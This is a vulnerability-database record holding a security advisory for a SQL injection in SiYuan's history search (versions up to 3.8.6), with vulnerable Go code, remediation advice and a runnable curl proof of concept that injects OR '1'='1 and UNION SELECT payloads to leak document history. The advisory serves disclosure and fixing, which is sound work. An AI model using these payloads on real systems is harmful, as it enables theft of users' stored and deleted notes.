{"schema":"threatline.record/2","record":{"id":"GHSA-4hjx-84f6-gr7c","aliases":["GHSA-4hjx-84f6-gr7c"],"summary":"SQL injection in history search (`op` and `type=3` query) on `history.db`","details":"### Summary\r\nThe history search endpoint concatenates two attacker-controlled fields - `op` (always) and `query` (when `type=3`, \"search by doc ID\") - into SQL string literals without escaping, and executes the result against `history.db` with no single-statement/read-only validation. This is a sibling of the recently-fixed SQLi class (GHSA-336w-67gx-gx2h in search, GHSA-5rwv-4j4c-f954 and GHSA-xr4h-j7cg-q8pc in graph) and a gap in the GHSA-67p9-hm94-xwf3 \"guard at the raw-SQL sink\" fix, which covered the block-query sinks (`sql/block_query.go`) but not the history sinks.\r\n\r\n### Details\r\n`kernel/model/history.go` - `buildSearchHistoryQueryFilter` (line 812):\r\n\r\n```go\r\ncase HistoryTypeDocID:                      // type == 3\r\n    stmt += \" id = '\" + query + \"'\"         // line 820 - query UNESCAPED\r\n...\r\nif op = strings.TrimSpace(op); op != \"\" && op != \"all\" {\r\n    stmt += \" AND op = '\" + op + \"'\"        // line 831 - op UNESCAPED\r\n}\r\n```\r\n\r\nThe `query` is deliberately left unescaped for `type=3` (the `stringQuery` escape is skipped):\r\n\r\n```go\r\n// model/history.go:791-794\r\nquery = util.RemoveInvalid(query)\r\nif \"\" != query && HistoryTypeDocID != typ {\r\n    query = stringQuery(query)              // skipped when typ == 3\r\n}\r\n```\r\n\r\nThe sinks execute raw SQL with no guard (contrast `sql/block_query.go` which now calls\r\n`checkRawBlockQueryStmt`):\r\n\r\n```go\r\n// sql/history.go\r\nfunc QueryHistory(stmt string) ... { rows, err := queryHistory(stmt) ... }          // :39\r\nfunc SelectHistoriesRawStmt(stmt string) ... { rows, err := historyDB.Query(stmt) ... } // :74\r\n```\r\n\r\nEntry points (admin-gated, `api/router.go:236-237`):\r\n- `POST /api/history/searchHistory` (`api/history.go:31` → `model.FullTextSearchHistory`)\r\n- `POST /api/history/getHistoryItems` (`api/history.go:44` → `model.FullTextSearchHistoryItems`)\r\n- MCP `history` tool (`mcp/tools/history.go`)\r\n\r\n\r\n\r\n### PoC\r\nVerified live against a source-built v3.8.6 kernel (admin token; `HistoryType*` = 0=DocName, 1=Doc, 2=Asset, 3=DocID, 4=Database).\r\n```bash\r\nStep 1: Login and retrieve the token\r\n# a) directly fro the workspace config\r\nTOKEN=$(jq -r '.api.token' <workspace>/ws/conf/conf.json)\r\n\r\n# b) remotely via login flow\r\ncurl -s -c /tmp/ck.txt -X POST http://127.0.0.1:3806/api/system/loginAuth \\\r\n  -H 'Content-Type: application/json' -d '{\"authCode\":\"test123\"}'\r\nTOKEN=$(curl -s -b /tmp/ck.txt -X POST http://127.0.0.1:3806/api/system/getConf \\\r\n  -H 'Content-Type: application/json' -d '{}' | jq -r '.data.conf.api.token')\r\n\r\necho \"$TOKEN\"      # => 1ntwkmv0qbnwlgqx\r\n\r\nStep 2: Create a notebook + document\r\nNB=$(curl -s -X POST http://127.0.0.1:3806/api/notebook/createNotebook \\\r\n  -H \"Authorization: Token $TOKEN\" -H 'Content-Type: application/json' \\\r\n  -d '{\"name\":\"poc\"}' | jq -r '.data.notebook.id')\r\n\r\nDOC=$(curl -s -X POST http://127.0.0.1:3806/api/filetree/createDocWithMd \\\r\n  -H \"Authorization: Token $TOKEN\" -H 'Content-Type: application/json' \\\r\n  -d \"{\\\"notebook\\\":\\\"$NB\\\",\\\"path\\\":\\\"/\\\",\\\"markdown\\\":\\\"# secret\\nHISTORY-CANARY-12345\\\"}\" | jq -r '.data')\r\n\r\necho \"$NB $DOC\"\r\n\r\nStep 3: Seed one history entry\r\ncurl -s -X POST http://127.0.0.1:3806/api/history/createDocHistory \\\r\n  -H \"Authorization: Token $TOKEN\" -H 'Content-Type: application/json' -d \"{\\\"id\\\":\\\"$DOC\\\"}\"\r\n\r\ncurl -s -X POST http://127.0.0.1:3806/api/history/reindexHistory \\\r\n  -H \"Authorization: Token $TOKEN\" -H 'Content-Type: application/json' -d '{}'\r\n\r\n# confirm\r\ncurl -s -X POST http://127.0.0.1:3806/api/history/searchHistory \\\r\n  -H \"Authorization: Token $TOKEN\" -H 'Content-Type: application/json' \\\r\n  -d '{\"query\":\"\",\"notebook\":\"%\",\"op\":\"all\",\"type\":1,\"page\":1}' | jq '.data.histories'\r\n\r\n\r\nStep 4: Exploit #1: op injection\r\n# baseline: op=delete filters out the (op=update) entries\r\ncurl -s -X POST http://127.0.0.1:3806/api/history/searchHistory \\\r\n  -H \"Authorization: Token $TOKEN\" -H 'Content-Type: application/json' \\\r\n  -d '{\"query\":\"\",\"notebook\":\"%\",\"op\":\"delete\",\"type\":1,\"page\":1}' | jq '.data.totalCount'\r\n# => 0\r\n\r\n# inject: op=delete' OR '1'='1\r\ncurl -s -X POST http://127.0.0.1:3806/api/history/searchHistory \\\r\n  -H \"Authorization: Token $TOKEN\" -H 'Content-Type: application/json' \\\r\n  -d '{\"query\":\"\",\"notebook\":\"%\",\"op\":\"delete\\u0027 OR \\u00271\\u0027=\\u00271\",\"type\":1,\"page\":1}' | jq '.data.totalCount'\r\n# => 3   (all history entries leak past the filter)\r\n\r\n\r\nStep 5: Exploit #2: type=3 query injection\r\n# get the created timestamp first\r\nTS=$(curl -s -X POST http://127.0.0.1:3806/api/history/searchHistory \\\r\n  -H \"Authorization: Token $TOKEN\" -H 'Content-Type: application/json' \\\r\n  -d '{\"query\":\"\",\"notebook\":\"%\",\"op\":\"all\",\"type\":1,\"page\":1}' | jq -r '.data.histories[0]')\r\n\r\n# baseline: non-matching doc id\r\ncurl -s -X POST http://127.0.0.1:3806/api/history/getHistoryItems \\\r\n  -H \"Authorization: Token $TOKEN\" -H 'Content-Type: application/json' \\\r\n  -d \"{\\\"created\\\":\\\"$TS\\\",\\\"query\\\":\\\"00000000000000-xxxxxxx\\\",\\\"notebook\\\":\\\"%\\\",\\\"op\\\":\\\"\\\",\\\"type\\\":3}\" | jq '.data.items | length'\r\n# => 0\r\n\r\n# inject: query=' OR '1'='1  (type=3 skips the stringQuery escape)\r\ncurl -s -X POST http://127.0.0.1:3806/api/history/getHistoryItems \\\r\n  -H \"Authorization: Token $TOKEN\" -H 'Content-Type: application/json' \\\r\n  -d \"{\\\"created\\\":\\\"$TS\\\",\\\"query\\\":\\\"\\u0027 OR \\u00271\\u0027=\\u00271\\\",\\\"notebook\\\":\\\"%\\\",\\\"op\\\":\\\"\\\",\\\"type\\\":3}\" | jq '.data.items | length'\r\n# => items leaked\r\n\r\nStep 6: UNION SELECT (arbitrary column read)\r\ncurl -s -X POST http://127.0.0.1:3806/api/history/getHistoryItems \\\r\n  -H \"Authorization: Token $TOKEN\" -H 'Content-Type: application/json' \\\r\n  -d \"{\\\"created\\\":\\\"$TS\\\",\\\"query\\\":\\\"x\\u0027 UNION SELECT id, type, op, title, content, path, created FROM histories_fts_case_insensitive --\\\",\\\"notebook\\\":\\\"%\\\",\\\"op\\\":\\\"\\\",\\\"type\\\":3}\" | jq '.data.items'\r\n```\r\n\r\nRoot cause: kernel/model/history.go buildSearchHistoryQueryFilter - AND op = '<op>' (line 831) and id = '<query>' for type=3 (line 820) are concatenated unescaped, then executed via sql.QueryHistory/sql.SelectHistoriesRawStmt with no single-statement/read-only guard.\r\n\r\n\r\n### Impact\r\nSQL injection (read-only) on `history.db`. Who is impacted: administrators (and any client holding an admin token, e.g. a malicious plugin) can exfiltrate document history - including previously-deleted document content, titles, and paths - in bulk, beyond what the structured history API exposes. The absence of the single-statement/read-only guard that other raw-SQL sinks now enforce means this sink is unhardened against future write/stacking changes.\r\n\r\n**Remediation:** escape `op` and `query` (`strings.ReplaceAll(v, \"'\", \"''\")` / `stringQuery` for all types) in `buildSearchHistoryQueryFilter`, and add `CheckSingleStatement` + `CheckReadonlyStatement` to `sql.QueryHistory` / `sql.SelectHistoriesRawStmt` (mirroring the `sql/block_query.go` fix).\r\n","categories":["Unclassified"],"product":"https://github.com/siyuan-note/siyuan","vendor":"","ecosystem":null,"affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/siyuan-note/siyuan/security/advisories/GHSA-4hjx-84f6-gr7c","source_modified_at":"2026-10-09T11:51:50Z","fetched_at":"2026-10-26T06:00:26.954813Z","package":{"ecosystem":"go","name":"https://github.com/siyuan-note/siyuan"},"range":"<= 3.8.6"}],"fixed_versions":[],"cvss":4.9,"severity":"Medium","kev":{"listed":false},"epss":{"probability":null,"percentile":null,"score_date":null},"published_at":"2026-10-09T11:51:50Z","modified_at":"2026-10-09T11:51:50Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/siyuan-note/siyuan/security/advisories/GHSA-4hjx-84f6-gr7c","fetched_at":"2026-10-26T06:00:26.954813Z","source_modified_at":"2026-10-09T11:51:50Z"}],"sources":["GitHub Advisory Database"],"references":[],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":null,"confidence":"unknown","reviewed":false},"change_timestamp":"2026-10-09T11:51:50Z","content_hash":"d0efe6dc7e30107d0be1239cdee1e06a2bace1c03f372606bc7ccb0f61fadaab"}}
